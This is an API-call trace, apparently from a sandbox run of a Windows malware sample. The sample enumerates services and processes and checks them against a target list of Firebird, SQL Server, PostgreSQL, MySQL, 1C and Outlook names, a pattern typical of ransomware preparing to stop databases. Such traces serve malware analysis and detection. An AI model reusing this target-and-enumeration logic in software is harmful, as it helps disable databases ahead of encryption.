	[0270.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0270.248] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0270.248] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0270.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0270.248] lstrlenW (lpString="PcaSvc") returned 6
	[0270.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0270.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0270.248] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0270.248] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0270.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0270.248] lstrlenW (lpString="PlugPlay") returned 8
	[0270.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0270.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0270.248] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0270.248] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0270.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0270.248] lstrlenW (lpString="Power") returned 5
	[0270.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0270.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0270.249] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0270.249] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0270.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0270.249] lstrlenW (lpString="ProfSvc") returned 7
	[0270.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0270.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0270.249] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0270.249] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0270.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0270.249] lstrlenW (lpString="RpcEptMapper") returned 12
	[0270.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0270.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0270.249] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0270.249] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0270.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0270.249] lstrlenW (lpString="RpcSs") returned 5
	[0270.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0270.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0270.249] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0270.249] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0270.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0270.249] lstrlenW (lpString="SamSs") returned 5
	[0270.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0270.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0270.249] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0270.249] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0270.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0270.249] lstrlenW (lpString="Schedule") returned 8
	[0270.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0270.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0270.250] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0270.250] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0270.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0270.250] lstrlenW (lpString="SENS") returned 4
	[0270.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0270.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0270.250] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0270.250] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0270.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0270.250] lstrlenW (lpString="ShellHWDetection") returned 16
	[0270.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0270.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0270.250] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0270.250] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0270.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0270.250] lstrlenW (lpString="Spooler") returned 7
	[0270.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0270.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0270.250] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0270.250] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0270.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0270.250] lstrlenW (lpString="SysMain") returned 7
	[0270.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0270.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0270.250] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0270.250] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0270.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0270.250] lstrlenW (lpString="Themes") returned 6
	[0270.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0270.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0270.251] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0270.251] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0270.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0270.251] lstrlenW (lpString="TrkWks") returned 6
	[0270.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0270.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0270.251] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0270.251] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0270.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0270.251] lstrlenW (lpString="UxSms") returned 5
	[0270.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0270.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0270.251] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0270.251] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0270.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0270.251] lstrlenW (lpString="Winmgmt") returned 7
	[0270.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0270.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0270.251] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0270.251] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0270.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0270.251] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41f5d68 | out: hHeap=0x4a0000) returned 1
	[0270.251] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x34c
	[0270.252] Process32FirstW (in: hSnapshot=0x34c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0270.253] Process32NextW (in: hSnapshot=0x34c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0270.253] lstrlenW (lpString="System") returned 6
	[0270.253] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0270.253] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0270.253] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0270.253] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0270.253] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0270.253] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0270.253] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0270.253] Process32NextW (in: hSnapshot=0x34c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0270.253] lstrlenW (lpString="smss.exe") returned 8
	[0270.253] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0270.253] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0270.253] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0270.253] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0270.253] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0270.254] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0270.254] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0270.254] Process32NextW (in: hSnapshot=0x34c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0270.254] lstrlenW (lpString="csrss.exe") returned 9
	[0270.254] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0270.254] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0270.254] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0270.254] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0270.254] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0270.254] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0270.254] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0270.254] Process32NextW (in: hSnapshot=0x34c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0270.254] lstrlenW (lpString="wininit.exe") returned 11
	[0270.254] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0270.254] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0270.254] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0270.254] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0270.255] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0270.255] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0270.255] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0270.255] Process32NextW (in: hSnapshot=0x34c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0270.255] lstrlenW (lpString="csrss.exe") returned 9
	[0270.255] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0270.255] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0270.255] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0270.255] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0270.255] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0270.255] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0270.255] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0270.255] Process32NextW (in: hSnapshot=0x34c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0270.255] lstrlenW (lpString="winlogon.exe") returned 12
	[0270.255] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1
	[0270.255] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1
	[0270.255] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1
	[0270.255] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1
	[0270.256] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1
	[0270.256] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1
	[0270.256] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1
	[0270.256] Process32NextW (in: hSnapshot=0x34c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0270.256] lstrlenW (lpString="services.exe") returned 12
	[0270.256] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1
	[0270.256] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1
	[0270.256] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1
	[0270.256] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1
	[0270.256] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1
	[0270.256] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1
	[0270.256] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1
	[0270.256] Process32NextW (in: hSnapshot=0x34c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0270.257] lstrlenW (lpString="lsass.exe") returned 9
	[0270.257] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1
	[0270.257] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1
	[0270.257] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1
	[0270.257] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1
	[0270.257] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1
	[0270.257] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1
	[0270.257] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1
	[0270.257] Process32NextW (in: hSnapshot=0x34c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0270.257] lstrlenW (lpString="lsm.exe") returned 7
	[0270.257] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1
	[0270.257] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1
	[0270.257] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1
	[0270.257] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1
	[0270.257] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1
	[0270.257] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1
	[0270.257] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1
	[0270.257] Process32NextW (in: hSnapshot=0x34c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0270.258] lstrlenW (lpString="svchost.exe") returned 11
	[0270.258] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0270.258] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0270.258] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0270.258] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0270.258] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0270.258] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0270.258] Process32NextW (in: hSnapshot=0x34c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0270.258] lstrlenW (lpString="svchost.exe") returned 11
	[0270.258] Process32NextW (in: hSnapshot=0x34c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0270.258] lstrlenW (lpString="svchost.exe") returned 11
	[0270.259] Process32NextW (in: hSnapshot=0x34c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0270.259] lstrlenW (lpString="svchost.exe") returned 11
	[0270.259] Process32NextW (in: hSnapshot=0x34c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0270.259] lstrlenW (lpString="svchost.exe") returned 11
	[0270.259] Process32NextW (in: hSnapshot=0x34c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0270.259] lstrlenW (lpString="audiodg.exe") returned 11
	[0270.259] Process32NextW (in: hSnapshot=0x34c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0270.260] lstrlenW (lpString="svchost.exe") returned 11
	[0270.260] Process32NextW (in: hSnapshot=0x34c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
	[0270.260] lstrlenW (lpString="userinit.exe") returned 12
	[0270.260] Process32NextW (in: hSnapshot=0x34c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0270.260] lstrlenW (lpString="explorer.exe") returned 12
	[0270.260] Process32NextW (in: hSnapshot=0x34c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0270.260] lstrlenW (lpString="dwm.exe") returned 7
	[0270.260] Process32NextW (in: hSnapshot=0x34c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0270.261] lstrlenW (lpString="svchost.exe") returned 11
	[0270.261] Process32NextW (in: hSnapshot=0x34c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0270.261] lstrlenW (lpString="swpesp.exe") returned 10
	[0270.261] Process32NextW (in: hSnapshot=0x34c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0270.261] lstrlenW (lpString="spoolsv.exe") returned 11
	[0270.261] Process32NextW (in: hSnapshot=0x34c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0270.262] lstrlenW (lpString="taskhost.exe") returned 12
	[0270.262] Process32NextW (in: hSnapshot=0x34c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0270.262] lstrlenW (lpString="svchost.exe") returned 11
	[0270.262] Process32NextW (in: hSnapshot=0x34c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1
	[0270.262] lstrlenW (lpString="reader_sl.exe") returned 13
	[0270.262] Process32NextW (in: hSnapshot=0x34c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0
	[0270.262] CloseHandle (hObject=0x34c) returned 1
	[0270.262] Sleep (dwMilliseconds=0x1f4) 
	[0271.048] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4280950
	[0271.059] EnumServicesStatusExW (in: hSCManager=0x4280950, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 0
	[0271.059] GetLastError () returned 0xea
	[0271.059] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xe90) returned 0x41f5d68
	[0271.059] EnumServicesStatusExW (in: hSCManager=0x4280950, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f5d68, cbBufSize=0xe90, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f5d68, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 1
	[0271.059] CloseServiceHandle (hSCObject=0x4280950) returned 1
	[0271.060] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0271.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0271.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0271.060] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0271.060] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0271.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0271.060] lstrlenW (lpString="AudioSrv") returned 8
	[0271.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0271.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0271.060] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0271.060] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0271.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0271.060] lstrlenW (lpString="BFE") returned 3
	[0271.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0271.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0271.060] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0271.060] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0271.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0271.060] lstrlenW (lpString="CryptSvc") returned 8
	[0271.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0271.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
